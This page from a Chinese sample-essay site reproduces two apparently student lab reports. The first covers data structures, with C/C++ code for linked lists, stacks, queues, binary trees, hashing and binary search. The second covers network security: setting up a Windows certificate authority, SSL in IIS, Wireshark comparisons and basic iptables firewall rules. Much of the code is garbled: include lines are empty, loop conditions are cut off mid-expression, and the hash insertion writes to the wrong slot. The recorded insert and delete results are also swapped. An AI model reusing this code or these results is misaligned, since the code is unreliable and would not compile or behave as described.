人人范文网 其他范文

大学实验报告格式范文(精选多篇)

发布时间:2022-08-13 21:05:05 来源:其他范文 收藏本文 下载本文 手机版

推荐第1篇:中南大学 数据结构实验报告

数据结构实验报告

专业班级: 指导老师:余腊生 姓

名: 学

号: 实验一 单链表的基本操作的实现

一、实验目的

掌握单链表的基本操作:建立、插入、删除、查找等运算。

二、实验仪器

安装VC++的PC机。

三、实验原理

利用线性表的特性以及其链式存储结构特点对线性表进行相关操作。

四、实验内容

程序中演示了单链表的创建、插入、删除和查找。 程序如下:

#include #include #include #include typedef struct node { int data; struct node *next; } NODE; /******************************************/ NODE *Create() { NODE *p,*head; int x; head=(NODE *)malloc(sizeof(NODE)); head->next=NULL; printf(\"Input data,-1 to End!\\n\");

scanf(\"%d\",&x); while(x!=-1) { p=(NODE *)malloc(sizeof(NODE)); p->data=x; p->next=head->next; head->next=p; scanf(\"%d\",&x); } return(head); } /******************************************/ void Output(NODE *head) { NODE *p; p=head; printf(\"Begin to dump the LinkList...\\n\"); while(p->next!=NULL){ printf(\"->%d\",p->next->data); p=p->next; } printf(\"\\nThe LinkList ended!\\n\"); } /******************************************/ int Listlen(NODE *head){ int i=0; NODE *p=head; while(p->next!=NULL){ i++; p=p->next; } return(i); } /******************************************/ int Get(NODE *head,int i){ int j=0; NODE *p=head; while(p->next&&jnext; } if(!p->next||j>i) return(0); else return(p->data); } /******************************************/ void Del(NODE *head,int i){ NODE *p=head; int j=0; while(p->next&&jnext; } if(!p->next||j>i-1) printf(\"the position is wrong\\n\"); else p->next=p->next->next; } /******************************************/ void Ins(NODE *head,int i,int e) { NODE *p=head,*q; int j=0; while(p->next&&jnext; } if(!p->next&&j>i-1) printf(\"Wrong position\\n\" ); else { q=(NODE *)malloc(sizeof(NODE)); q->data=e; q->next=p->next; p->next=q; } } /******************************************/ main(){ NODE *head; int length; int i,element; system(\"CLS\"); head=Create(); Output(head); length=Listlen(head); printf(\"the length of the link is %d\\n\",length); printf(\"input the order :\\n\"); scanf(\"%d\",&i); element=Get(head,i); printf(\"the element of the order is %d\\n\",element); printf(\"input the del position \\n\"); scanf(\"%d\",&i); Del(head,i); Output(head); printf(\"Input the insert posion and element:\\n\"); scanf(\"%d%d\",&i,&element); Ins(head,i,element); Output(head); getch(); }

五、数据记录及处理

1、运行程序,输入下面一组数据: 93 94 12 13 20 14 链表顺序:14 20 13 12 94 93

2、删除第二个数据结点,在第一个位置插入数据20。

运行结果如下: 插入结果:14 13 12 94 93 删除结果:20 14 13 12 94 93 运行结果截图:

实验二 栈和队列的实现

一、目的和要求

1.理解队列和栈的顺序存储结构和链式存储结构。通过本实验,熟悉队列、栈的结构特点; 2.熟悉队列、栈结构上的操作与算法的实现。

二、实验内容

1.队列的基本操作和应用。2.栈的基本操作和应用。

三、仪器、设备和材料

1.适合实验要求的计算机系统 。 2.VC++编程平台。

四、实验原理

队列与栈是一种操作受限制的线性表,在了解线性表的基本原理的基础上,理解与完成此项实验。

五、实验步骤

1.采用队列的顺序存储结构,。

2.用菜单的形式完成队列的建立,出队,入队等基本操作。3.采用栈的链式存储结构。

4.用菜单的形式完成栈的出栈、入栈等基本操作。

六、程序算法

#include #include #define OVERFLOW -2 #define ERROR 0 #define OK 1 #define MAX 100 //栈的最大值 typedef int SElemType; typedef int QElemType; typedef struct {SElemType *base;

SElemType *top; }SqStack;

SqStack InitStacka( ) //顺序存储实现栈的初始化 {SqStack S; S.base=(SElemType *)malloc(MAX*sizeof(SElemType)); if(!S.base) exit(OVERFLOW); S.top=S.base; return(S); }

void Pusha(SqStack &S,int x) //顺序存储实现栈的入栈操作 {if(S.top-S.base>=MAX) exit(OVERFLOW); *S.top++=x; }

void Popa(SqStack &S) //顺序存储实现栈的出栈操作 {SElemType *p; int x; if(S.top==S.base) return ; else {p=S.top; x=*--S.top; printf(\"\\t删除的栈顶元素是%d\\n\\t出栈操作完成后的栈为:\\n\",x); } } void printa(SqStack S) //输出 {SElemType *p; p=S.base; printf(\"\\t\"); while(p!=S.top) {printf(\"%d \",*(p++));} printf(\"\\n\"); }

typedef struct SqNode {SElemType data; SqNode *Link; }*Sqptr,NODE; typedef struct {Sqptr top; }Stack;

Stack InitStackb() //链式存储实现栈的初始化 {Stack S; S.top=(Sqptr)malloc(sizeof(NODE)); if(!S.top) exit (OVERFLOW); S.top->Link=NULL; return(S); }

void Pushb(Stack &S,int x) //链式存储实现栈的入栈操作 {Sqptr p; p=(Sqptr)malloc(sizeof(NODE)); if(!p) return; p->data=x; p->Link=S.top->Link; S.top->Link=p; }

void Popb(Stack &S) //链式存储实现栈的出栈操作 {int x; Sqptr p; if(S.top->Link==NULL) return; else {p=S.top->Link;

x=p->data;

S.top->Link=p->Link;

printf(\"\\t删除的栈顶元素是%d\\n\",x);

free(p);} }

typedef struct QNode {QElemType data; struct QNode *next; }*QueuePtr,QNode; typedef struct {QueuePtr front; QueuePtr rear; }LinkQueue; LinkQueue InitQueue() //链式存储实现队列的初始化 {LinkQueue Q; Q.front=Q.rear=(QueuePtr)malloc(sizeof(QNode)); if(!Q.front) exit(OVERFLOW); Q.front->next=NULL;

return(Q); } void EnQueue(LinkQueue &Q,QElemType x) //链式存储实现队列的入队 {QueuePtr p; p=(QueuePtr)malloc(sizeof(QNode)); if(!p) exit(OVERFLOW); p->data=x; p->next=NULL; Q.rear->next=p; Q.rear=p; } void DeQueue(LinkQueue &Q) //链式存储实现队列的出队 {int x; if(Q.front==Q.rear) return; QueuePtr p; p=Q.front->next; x=p->data; printf(\"\\t删除的队头元素是:%d\\n\",x); Q.front->next=p->next; if(Q.rear==p) Q.rear=Q.front; free(p); return; }

typedef struct {SElemType *base; int front,rear; }SqQueue; SqQueue InitQueueb() //顺序存储实现队列的初始化 {SqQueue S; S.base=(SElemType *)malloc(MAX*sizeof(SElemType)); if(!S.base) exit(OVERFLOW); S.front=S.rear=0; return(S); } void EnQueueb(SqQueue &S,int x)

//顺序存储实现队列的入队 {if((S.rear+1)%MAX==S.front) return; S.base[S.rear]=x; S.rear=(S.rear+1)%MAX; } void DeQueueb(SqQueue &S) //顺序存储实现队列的出队 {int x; if(S.front==S.rear) return; x=S.base[S.front]; S.front=(S.front+1)%MAX; printf(\"\\t删除的队头元素是:%d\\n\",x); } void main() {int choice; int n,x; printf(\"\\n\\n\"); printf(\"\\t1.采用链式存储实现栈的初始化、入栈、出栈操作\\n\"); printf(\"\\t2.采用顺序存储实现栈的初始化、入栈、出栈操作\\n\"); printf(\"\\t3.采用链式存储实现队列的初始化、入队、出队操作\\n\"); printf(\"\\t4.采用顺序存储实现队列的初始化、入队、出队操作\\n\"); printf(\"\\t请选择:\"); scanf(\"%d\",&choice); switch(choice) {case 1:Stack Sa;

printf(\"\\t1.链式存储实现栈的初始化\\n\");

printf(\"\\t2.链式存储实现栈的入栈操作\\n\");

printf(\"\\t3.链式存储实现栈的出栈操作\\n\");

while(1){

printf(\"\\t请选择:\");

scanf(\"%d\",&n);

switch(n)

{case 1:Sa=InitStackb();

printf(\"\\t链式存储栈的初始化完成!\\n\");break;

case 2:printf(\"\\t以\'0\'结束\\n\");printf(\"\\t\");

scanf(\"%d\",&x);

while(x){

Pushb(Sa,x);scanf(\"%d\",&x);}

printf(\"\\t链式存储栈的入栈操作完成!\\n\");break;

case 3:Popb(Sa);break;}}break;

case 2:SqStack S;

printf(\"\\t1.顺序存储实现栈的初始化\\n\");

printf(\"\\t2.顺序存储实现栈的入栈操作\\n\");

printf(\"\\t3.顺序存储实现栈的出栈操作\\n\");

while(1){

printf(\"\\t请选择:\");

scanf(\"%d\",&n);

switch(n)

{ case 1:S=InitStacka();

printf(\"\\t顺序存储栈的初始化完成!\\n\");break;

case 2:printf(\"\\t以\'0\'结束\\n\");

printf(\"\\t\");

scanf(\"%d\",&x);

while(x){

Pusha(S,x);

scanf(\"%d\",&x);}

printf(\"\\t顺序存储栈的入栈操作完成!\\n\");

printa(S);break;

case 3:Popa(S);

printa(S);break;}}break;

case 3:LinkQueue Q;

printf(\"\\t1.链式存储实现队的初始化\\n\");

printf(\"\\t2.链式存储实现队的入栈操作\\n\");

printf(\"\\t3.链式存储实现队的出栈操作\\n\");

while(1){

printf(\"\\t请选择:\");

scanf(\"%d\",&n);

switch(n)

{

case 1:Q=InitQueue();

printf(\"\\t链式存储队的初始化完成!\\n\");break;

case 2:printf(\"\\t以\'0\'结束\\n\");printf(\"\\t\");scanf(\"%d\",&x);

while(x){

EnQueue(Q,x);scanf(\"%d\",&x);}

printf(\"\\t链式存储队的入栈操作完成!\\n\");break;

case 3:DeQueue(Q);break;}}break;

case 4:SqQueue Sv;

printf(\"\\t1.顺序存储实现队的初始化\\n\");

printf(\"\\t2.顺序存储实现队的入栈操作\\n\");

printf(\"\\t3.顺序存储实现队的出栈操作\\n\");

while(1){

printf(\"\\t请选择:\");

scanf(\"%d\",&n);

switch(n)

{case 1:Sv=InitQueueb();

printf(\"\\t链式存储栈的初始化完成!\\n\");break;

case 2:printf(\"\\t以\'0\'结束\\n\");printf(\"\\t\");scanf(\"%d\",&x);

while(x){

EnQueueb(Sv,x);scanf(\"%d\",&x);}

printf(\"\\t链式存储栈的入栈操作完成!\\n\");break;

case 3: DeQueueb(Sv);break;}}break; } } 程序调试截图:

1.采用链式存储实现栈的初始化、入栈、出栈操作

2.采用顺序存储实现栈的初始化、入栈、出栈操作

3.采用链式存储实现队列的初始化、入队、出队操作

4.采用顺序存储实现队列的初始化、入队、出队操作

七、心得体会

实践才能出真知,在通过了上机操作后,才发现了许多在平时上理论课的时候没有想到的方方面面,编写程序时发现很多语法的错误,以及很多英语单词的记不熟,记错,程序函数错用等等,我想需要在以后多多练习,才能逐步解决这些问题。 实验三 二叉树的建立和遍历

一、目的和要求

1、了解二叉树的建立的方法及其遍历的顺序,熟悉二叉树的三种遍历

2、检验输入的数据是否可以构成一颗二叉树

二、实验内容

1.二叉树的建立和遍历

三、仪器、设备和材料

1.适合实验要求的计算机系统 。 2.VC++编程平台。

四、实验的描述和算法

1、实验描述

二叉树的建立首先要建立一个二叉链表的结构体,包含根节点和左右子树。因为耳熟的每一个左右子树又是一颗二叉树,所以可以用递归的方法来建立其左右子树。二叉树的遍历是一种把二叉树的每一个节点访问完并输出的过程,遍历时根结点与左右孩子的输出顺序构成了不同的遍历方法,这个过程需要按照不同的遍历的方法,先输出根结点还是先输出左右孩子,可以用选择语句实现。

2、算法

#include #include using namespace std; template struct BinTreeNode

//二叉树结点类定义 { T data;

//数据域

BinTreeNode *leftChild,*rightChild;

//左子女、右子女域

BinTreeNode(T x=T(),BinTreeNode* l =NULL,BinTreeNode* r = NULL )

:data(x),leftChild(l),rightChild(r){}

//可选择参数的默认构造函数 }; //----------- template void PreOrder_2(BinTreeNode *p)

//非递归前序遍历 { stack * >S; while(p!=NULL || !S.empty()) {

while(p!=NULL)

{

coutdata;

//访问根结点

S.push(p);

p=p->leftChild;

//遍历指针进到左子女结点

}

if(!S.empty())

//栈不空时退栈

{

p=S.top();

S.pop();

p = p->rightChild;

//遍历指针进到右子女结点

} } } //-- template void InOrder_2(BinTreeNode *p)

//非递归中序遍历 { stack* >S; do {

while(p!=NULL)

//遍历指针未到最左下的结点,不空

{

S.push(p);

p=p->leftChild;

}

if(!S.empty())

//栈不空时退栈

{

p=S.top();

S.pop();

coutdata;

p=p->rightChild;

} } while(p !=NULL || !S.empty()); }

//---- template void PostOrder_2(BinTreeNode *p) //非递归后序遍历 { stack * >S; stack tag;//定义一个新的栈用来保存tag域判别根结点的左右子树是否均遍历过

while(p != NULL || !S.empty())

//左子树经过结点加L进栈

{

while(p!=NULL)

{

S.push(p); //首先将t和tag为入栈,遍历左子树

tag.push(0);//遍历左子树前的现场保护

p=p->leftChild;

}

while( !S.empty() && tag.top()==1)

{

p=S.top();

S.pop();

tag.pop();

coutdata; //最后访问根结点。

}

if( !S.empty())

{

tag.pop();

tag.push(1);//遍历右子树前的现场保护,修改栈顶tag为,遍历右子树

p=S.top();

// 取栈顶保存的指针

p=p->rightChild;

}

else

break;

} } template void InOrder_1(BinTreeNode * subTree) {//递归函数:中序次序遍历以subTree为根的子树。

if(subTree !=NULL)

//NULL是递归终止条件

{

InOrder_1(subTree->leftChild); //中序遍历根的左子树

coutdata;

//访问根结点

InOrder_1(subTree->rightChild); //中序遍历根的右子树

} } template void PreOrder_1(BinTreeNode * subTree) {//递归函数:前序遍历以subTree为根的二叉树。 if(subTree !=NULL)

//递归结束条件

{

coutdata;//访问根结点

PreOrder_1(subTree->leftChild);

//前序遍历根的左子树

PreOrder_1(subTree->rightChild);

//前序遍历根的右子树

} } template void PostOrder_1(BinTreeNode * subTree) {//递归函数:后序次序遍历以subTree为根的子树。

if(subTree !=NULL)

//NULL是递归终止条件

{

PostOrder_1(subTree->leftChild); //后序遍历根的左子树

PostOrder_1(subTree->rightChild); //后序遍历根的右子树

coutdata;

//访问根结点

} } //------------ template void CreateBinTree(BinTreeNode * & subTree) {//递归方式建立二叉树

T item;

cin>>item;

if(item !=-1)

{

subTree = new BinTreeNode();

if(subTree == NULL)

{

cerr

exit(1);

}

subTree->data = item;

CreateBinTree(subTree->leftChild); //递归建立左子树

CreateBinTree(subTree->rightChild); //递归建立右子树

}

else subTree = NULL;

//封闭指向空子树的指针 } int main() {

BinTreeNode * Tree = NULL; cout

cout

PreOrder_1(Tree);

cout

cout

PostOrder_1(Tree); cout

cout

3、实验程序运行截图

实验四 散列法查找和排序

一、目的和要求

1.用散列法实现顺序查找,折半查找

二、仪器、设备和材料

1.适合实验要求的计算机系统 。 2.VC++编程平台。

三、实验步骤 和程序

1、顺序查找 #include #include #include #define m

100 #define NULLKEY 0 typedef int KeyType;

/* 假设关键字为整型 */ typedef struct { KeyType key; }RecordType; typedef RecordType HashTable[m]; int hash(KeyType k)/*除留余数法构造哈希函数*/ { int h; h = k%m; return h; } int HashSearch( HashTable ht, KeyType K)/*哈希查找*/ { int h0; int i; int hi; h0=hash(K); if (ht[h0].key==NULLKEY)

return (-1); else

if (ht[h0].key==K)

return (h0);

else

/* 用线性探测再散列解决冲突 */

{

for (i=1; i

{

hi=(h0+i) % m;

if (ht[hi].key==NULLKEY)

return (-1);

else

if (ht[hi].key==K)

return (hi);

}

return (-1);

}

} void main() { int i,j; int n; int p; int hj; int k; int result; HashTable ht; for(i=0; i

ht[i].key = NULLKEY; printf(\"请输入哈希表的元素个数:\"); scanf(\"%d\",&n); for(i=1; i

printf(\"请输入第%d个元素:\",i);

fflush(stdin);

scanf(\"%d\",&p);

j = hash(p);

if (ht[j].key == NULLKEY)

ht[j].key = p;

else

{

for (i=1; i

{

hj=(j+i) % m;

if (ht[hj].key==NULLKEY)

{

ht[j].key = p;

}

i = m;

}

}

} } printf(\"请输入要查找的元素:\"); fflush(stdin); scanf(\"%d\",&k); result = HashSearch(ht,k); if(result == -1) printf(\"未找到!\\n\"); else printf(\"元素位置为%d\\n\",result); system(\"pause\"); 运行结果如下:

2、折半查找

#include #define N 21 void main(void) { int a[N]; int i,n,num; int top,bottom,mid; int flag=1; int loc=-1; printf(\"你想在多少个数中进行折半查找,请输入(1--20):\"); scanf(\"%d\",&n); while(n20) {

printf(\"你输入的数不正确,请重新输入:\\n\");

printf(\"你想在多少个数中进行折半查找,请输入(1--20):\");

scanf(\"%d\",&n); } printf(\"请你输入一个整数a[1]:\"); scanf(\"%d\",&a[1]); i=2; while(i

printf(\"请你输入一个整数a[%d]:\",i);

scanf(\"%d\",&a[i]);

i++; } printf(\"\\n输出表列\\n\"); for(i=1;i

bottom=%d,

mid=%d,a[i]=%d\\n\",top,bottom,mid,mid,a[mid]); if((num>a[top])||(num

loc=-1;

flag=0; } else if(a[mid]==num) {

loc=mid;

printf(\"找到数

%6d的位置%2d\\n\",num,loc);

break; } else if(a[mid]>num) {

top=mid-1;

mid=(top+bottom)/2; } else if(a[mid]

bottom=mid+1;

mid=(top+bottom)/2; } } if(loc==-1) { printf(\"%d这个数在表列中没有找到。\\n\",num); } } 运行结果如下:

推荐第2篇:中南大学 网络安全实验报告

CENTRAL SOUTH UNIVERSITY

网 络 安 全 实 验 报 告

学生姓名

专业班级

学 号

学 院 信息科学与工程学院 指导教师 刘嫔

实验时间 2014年12月 实验一 CA证书与SSL连接

应用场景

在访问Web 站点时,如果没有较强的安全措施,用户访问的数据是可以使用网络工具 捕获并分析出来的。在Web 站点的身份验证中,有一种基本身份验证,要求用户访问输入 用户名和密码时,是以明文形式发送密码的,蓄意破坏安全性的人可以使用协议分析程序破 译出用户名和密码。那我们该如果避免呢?可利用SSL 通信协议,在Web 服务器上启用安 全通道以实现高安全性。

SSL 协议位于TCP/IP 协议与各种应用层协议之间,为数据通讯提供安全支持。SSL 协 议可分为两层: SSL 记录协议(SSL Record Protocol):它建立在可靠的传输协议(如TCP) 之上,为高层协议提供数据封装、压缩、加密等基本功能的支持。SSL 握手协议(SSL Handshake Protocol):它建立在SSL 记录协议之上,用于在实际的数据传输开始前,通讯双 方进行身份认证、协商加密算法、交换加密密钥等。每一个Windows Server 2003 证书颁发 机构都有可供用户和管理员使用的网页。

实验目标

掌握在Windows Server 2003 下独立根CA 的安装和使用。 使用WEB 方式申请证书和安装证书。 建立SSL 网站。

分析SSL 网站的数据包特点。

实验拓扑

VM Client

VM Server

实验环境

虚拟机:Windows Server 2003,Windows XP,Wireshark 抓包软件。

实验过程指导

任务一:windows server 2003 环境下独立根CA 的安装及使用

1、启动Windows Server 2003 和Windows XP,配置其IP,使其在同一局域网网段。

2、在Windows Server 2003 中,选择【开始】|【控制面板】|【添加和删除程序】,在弹出窗

口中选择【添加和删除windows 组件】,在【组件】列表框中选择【证书服务】,再单击【下 一步】按钮,如下图所示。

3、在弹出的窗口中选择【独立根CA】单选按钮,单击【下一步】按钮,在弹出窗口中按 要求依次填入CA 所要求的信息,单击【下一步】按钮,如下图所示。

4、继续选择【证书数据库】、【数据库日志】和配置信息的安装、存放路径,如下图所示。

单击【下一步】按钮。安装的时候,可能会弹出如下窗口,为了实验方便,已经把I386 文 件夹复制到C:\\下,选择【浏览】,选择文件夹“C:\\I386”,点【确定】,完成安装。

5、选择【开始】|【程序】|【管理工具】,可以找到【证书颁发机构】,说明CA 的安装已经

完成,如下图所示。

6、从同一局域网中的另外一台XP 开启IE 浏览器,输入http://windows2003 的IP/certsrv/, 选中【申请一个证书】,如下图所示,在弹出的页面中选择【web 浏览器证书】。

7、在弹出窗口中填写用户的身份信息,完成后进行【提交】。此种情况下,IE 浏览器采用 默认的加密算法生成公钥对,私钥保存在本地计算机中,公钥和用户身份信息按照标准的格式发给CA 服务器,如图所示,单击【是】,进入下一步。CA 服务器响应后,弹出证书申请 成功页面,如下图所示。

8、在根CA 所在的计算机上,选择【开始】|【程序】|【管理工具】|【证书颁发机构】,上

面申请的证书便会出现在窗口右边,选择证书单击右键,选择【所有任务】|【颁发】,进行 证书颁发,如下图所示。证书颁发后将从【挂起的申请】文件夹转入【颁发的证书】文件夹 中,表示证书颁发完成。

9、在申请证书的计算机上打开IE,输入http://windows2003 的IP/certsrv/,进入证书申请页

5 面,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申请,如下 图所示。选择安装此证书。

10、现在验证此CA 系统颁发的新证书是否可信,为此需要安装CA 系统的根证书,进入证书申请主页面,选择当前的CA 证书进行下载,并保存到合适路径,如下图所示。

11、下载完毕之后,在证书的保存目录中查看证书信息,单击【安装证书】按钮,进入证书 导入向导,按照默认的配置完成证书的导入,导入成功后,单击【确定】按钮,之后完成。

7 任务二:基于Web 的SSL 连接设置

1、在XP 中,左下角【开始】,打开【Wireshark】,并点击开始抓包的按钮。打开IE 浏览器,输入网址http://windows2003 的IP/?id=1(比如:http://192.168.1.130/?id=1),然后保存Wireshark的抓包结果1。

2、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口

右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,如下图所示。

3、在弹出窗口内选择【目录安全性】标签,单击【安全通信】中的【服务器证书】按钮, 如下图所示。

4、弹出【IIS 证书向导】窗口,选中【新建证书】复选项,一直单击【下一步】按钮,输入自定义的名称,如下图所示。填写相应的信息后,单击【下一步】按钮。

5、弹出【请求文件摘要】窗口,确认后单击【下一步】按钮,接着单击【完成】按钮,完 成服务器端证书配置,如下图所示。

6、打开IE 浏览器(windows2003 中的),进入证书申请主界面,如下图所示。

7、在出现的网页中选择【高级证书申请】,如图所示,在出现的网页中单击第二个选项【base64 编码】。打开刚才IIS 证书向导生成的请求文件,(默认路径C:\\certreq.txt),复制并粘贴文件

内容到第一个文本框,如下图所示,单击【提交】按钮,转到完成提交后的页面。

8、回到首页,选择【查看挂起的证书申请状态】,弹出的页面中选择一个已经提交的证书申 请,如下图所示。选择【Base 64 编码】,点击【下载证书】,【保存】certnew.cer 文件到桌面。

9、选择【开始】|【程序】|【管理工具】|【IIS(Internet 信息服务)管理器】,在弹出窗口

右键单击【默认网站】,弹出的快捷菜单中选择【属性】选项,在弹出窗口内选择【目录安 全性】标签,选择【服务器证书】,选择【下一步】,【处理挂起的请求并安装证书】选择【下 一步】,【浏览】选择刚才保存的certnew.cer 文件,如下图所示。【下一步】【下一步】【完成】。

10、还是在【目录安全性】下,选择【安全通信】下的【编辑】,在下如图所示的弹出窗口 中选中【要求安全通道(SSL)】复选项,并在【客户端证书】栏中选中【接受客户端证书】 复选项,再单击【确定】按钮。返回【目录安全性】面板,单击【应用】按钮及【确定】按

12 钮,完成配置。

11、在XP 系统打开浏览器,输入服务器IP 地址,进入证书申请主页面,此时会显示错误 信息页面,要求采用https 的方式连接服务器,如图所示。

12、把http 改成https 继续访问,此时浏览器提示你要安装证书,安装完证书后,就可以正 常使用了。

13、再次打开Wireshark , 并点击开始抓包的按钮。打开IE 浏览器, 输入网址

https://windows2003 的IP/?id=1(比如:https://192.168.1.130/?id=1),然后保存Wireshark 的抓

13 包结果2。

14、分析比较抓包结果1 和抓包结果2 中,对IP/?id=1 请求处理的差异。

实验截图

1、写出windows server 2003 下独立根CA 的配置及应用的过程,将重要的步骤截图并保存。 如上所示,重要的步骤截图已置于相应步骤下。

2、写出windows server 2003 下基于Web的SSL连接设置的过程,将重要的步骤截图并保存。 如上所示,重要的步骤截图已置于相应步骤下。

实验心得

通过此次实验,我学会了Wireshark抓包的基本使用方法,学到了很多课本上没有的新知识,并对课本上的概念有了实际的更深的认识。通过Wireshark所抓到的未使用SSL 连接和使用SSL 连接的信息的对比,我对HTTPS有了一定的了解,对计算机网络通信中的数据传输安全有了大概的认识。

HTTPS(全称:Hyper Text Transfer Protocol over Secure Socket Layer),是以安全为目标的HTTP通道,简单讲是HTTP的安全版。即HTTP下加入SSL层,HTTPS的安全基础是SSL,因此加密的详细内容就需要SSL。它是一个URI scheme(抽象标识符体系),句法类同http:体系。用于安全的HTTP数据传输。https:URL表明它使用了HTTP,但HTTPS存在不同于HTTP的默 14 认端口及一个加密/身份验证层(在HTTP与TCP之间)。这个系统的最初研发由网景公司(Netscape)进行,并内置于其浏览器Netscape Navigator中,提供了身份验证与加密通讯方法。现在它被广泛用于万维网上安全敏感的通讯,例如交易支付方面。它的主要作用可以分为两种:一种是建立一个信息安全通道,来保证数据传输的安全;另一种就是确认网站的真实性,凡是使用了 https 的网站,都可以通过点击浏览器地址栏的锁头标志来查看网站认证之后的真实信息,也可以通过 CA 机构颁发的安全签章来查询。

Wireshark所抓到的未使用SSL 连接的http 信息,信息是明文传输,而使用SSL连接的https 则具有安全性的l加密传输协议,更加安全。

15 实验二 配置和管理主机防火墙

应用场景

对于Internet 上的系统,不管是什么情况,首先我们要明确一点:网络是不安全的。因此,虽然创建一个防火墙并不能保证系统100%安全,但却是绝对必要的。和社会上其它任何事物一样,Internet 经常会受到一些无聊的或者别有用心的人的干扰,防火墙的目的就是将这类人挡在你的网络之外,同时使你仍然可以完成自己的工作。

那么构筑怎样的Linux 防火墙系统才算是足够安全呢?这是一个很难回答的问题,因为不同的应用环境对安全的要求不一样。用一句比较恰当而且简单的话来回答这个问题:用户了解自己的Linux 系统和设置,并且可以很好地保护好自己的数据和机密文件的安全,这对于该计算机用户来说就可以称之为他的计算机有足够的安全性。

那么到底什么是防火墙呢?防火墙是一个或一组系统,它在网络之间执行访问控制策略。实现防火墙的实际方式各不相同,但是在原则上,防火墙可以被认为是这样一对机制:一种机制是拦阻传输流通行,另一种机制是允许传输流通过。一些防火墙偏重拦阻传输流的通行,而另一些防火墙则偏重允许传输流通过。了解有关防火墙的最重要的概念可能就是它实现了一种访问控制策略。

一般来说,防火墙在配置上是防止来自“外部”世界未经授权的交互式登录的。这大大有助于防止破坏者登录到你网络中的计算机上。一些设计更为精巧的防火墙可以防止来自外部的传输流进入内部,但又允许内部的用户可以自由地与外部通信。如果你切断防火墙的话,它可以保护你免受网络上任何类型的攻击。防火墙的另一个非常重要的特性是可以提供一个单独的“拦阻点”,在“拦阻点”上设置安全和审计检查。与计算机系统正受到某些人利用调制解调器拨入攻击的情况不同,防火墙可以发挥一种有效的“电话监听”和跟踪工具的作用。防火墙提供了一种重要的记录和审计功能;它们经常可以向管理员提供一些情况概要,提供有关通过防火墙的传输流的类型和数量,以及有多少次试图闯入防火墙的企图等信息。

因此本实验将介绍如何配置linux 防火墙。

VM Client

VM Server

实验目标

1.掌握linux 下基本的iptables 知识 2.学会配置iptables VM Windows VM Linux

实验环境

虚拟机:linux,windowsXP;linux 主机用户名:root;密码:root 16 实验过程指导

一.Iptables 的规则表、链结构

1.规则表(iptables管理4个不同的规则表,其功能由独立的内核模块实现) filter 表:包含三个链INPUT OUTPUT FORWARD nat表:PREROUTING POSTROTING OUTPUT mangle 表:PREROUTING POSTROUTING INPUT OUTPUT FORWARD raw 表:OUTPUT PREROUTING 2.规则链

INPUT 链当收到访问防火墙本机的数据包(入站)时,应用此链中的规则 OUTPUT链当防火墙本机向外发送数据包(出站)时,应用此链中的规则 FORWARD链收到需要通过防火墙发送给其他地址的数据包,应用此链 PREROUTING链做路由选择之前,应用此链

POSTROUTING链对数据包做路由选择之后,应用此链中的规则

二.数据包的匹配流程

1.规则表之间的优先级 raw mangle nat filter 2.规则链之间的优先级

入站数据流向:来自外界的数据包到达防火墙,首先PREROUTING规则链处理(是否被修改地址),之后会进行路由选择(判断该数据包应该发往何处),如果数据包的目标地址是防火墙本机,那么内核将其传递给INPUT 链进行处理,通过以后再交给上次的应用程序进行响应。

转发数据流向:来自外界的数据包到达防火墙后,首先被PREROUTING 规则链处理,之后进行路由选择,如果数据包的目标地址是其他外部地址,则内核将其传递给FPRWARD 链进行处理,然后再交给POSTROUTIING 规则链(是否修改数据包的地址等)进行处理。

出站数据流向:防火墙本身向外部地址发送数据包,首先被OUTPUT 规则链处理,之后进行路由选择,然后交给POSTROUTING 规则链(是否修改数据包的地址等)进行处理。 3.规则链内部各防火墙规则之间的优先顺序

依次按第1条规则、第2条规则、第3条规则„„的顺序进行处理,找到一条能够匹配的数据包规则,则不再继续检查后面的规则(使用LOG记录日志的规则例外)。如果找不到匹配规则,就按照规则链的默认策略进行处理。

三.管理和设置iptables规则

Iptables 的基本语法格式选项名 -A -D -I -R

功能及特点

在指定链的末尾添加(--append)一条新规则

删除(--delete)指定链中的某一条规则,按规则序号或内容确定要删除的规则 在指定链中插入一条新规则,若未指定插入位置,则默认在链的开头插入 修改、替换指定链中的一条规则,按按 17 -L -F -X -P -n -v -V -h --line-numbers -N

1.查看规则表

# iptables -L INPUT --line-numbers //查看filter表中INPUT链中的所有规则,同时显示各条规则的顺序号

规则序号或内容确定要替换的规则 列出指定链中所有的规则进行查看,若未指定链名,则列出表中所有链的内容 清空指定链中的所有规则,若未指定链名,则清空表中所有链的内容 删除表中用户自定义的规则链 设置指定链的默认策略(大p)

使用数字形式显示输出结果,如显示主机的IP地址而不是主机名

查看规则列表时显示详细的信息 查看iptables命令工具的版本信息 查看命令帮助信息

查看规则列表时,同时显示规则在链中的顺序号

新建一条用户自定义的规则链

2.删除、清空规则

# iptables -F //不指定表名时,默认情况filter表

3.设置规则链的默认策略

# iptables -t filter -P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables -P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 18

四.条件匹配

1.通用(general)条件匹配(直接使用,而不依赖于其他的条件匹配及其扩展) 协议匹配(允许使用的协议名包含在/etc/protocols文件中)

# iptables -AINPUT -p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包

地址匹配

拒绝转发来自192.168.1.11主机的数据,允许转发来自192.168.0./24网段的数据 # iptables -A FORWARD -s 192.168.1.11 -j REJECT

2.隐含(implicit)条件匹配(需要指定的协议匹配为前提,其对应的功能由iptables自动(隐含)的装载入内核),如果无匹配条件,默认为REJECT。

19 端口匹配

仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables -A INPUT -p tcp --dport 22 -s 202.13.0.0/16 -j ACCEPT

五.在进行了上述规则讲解与熟悉之后,接下来的步骤进行防火墙规则配置与测试

禁止Windows主机ping防火墙linux主机,但是允许从防火墙上ping其他主机(允许接受ICMP回应数据)

1.配置linux防火墙主机ip地址,如下图所示:

2.配置windows 主机ip地址,如下图所示:

3.配置linux 主机防火墙规则,如下图所示:

4.在此在windows 主机和linux 主机上进行相互ping 测试,测试结果如下图所示:

21

windows主机无法ping通linux防火墙主机,但是linux主机可以ping通windows主机。

实验截图

如上所示,重要的步骤截图已置于相应步骤下。

实验心得

1) 如何在linux 主机上配置防火墙规则以防止DDOS 高级?

答:默认的iptables规则是无法过滤DDOS攻击数据的,我们需要添加过滤规则实现iptables拥有抗DDOS的能力:

屏蔽 SYN_RECV 的连接

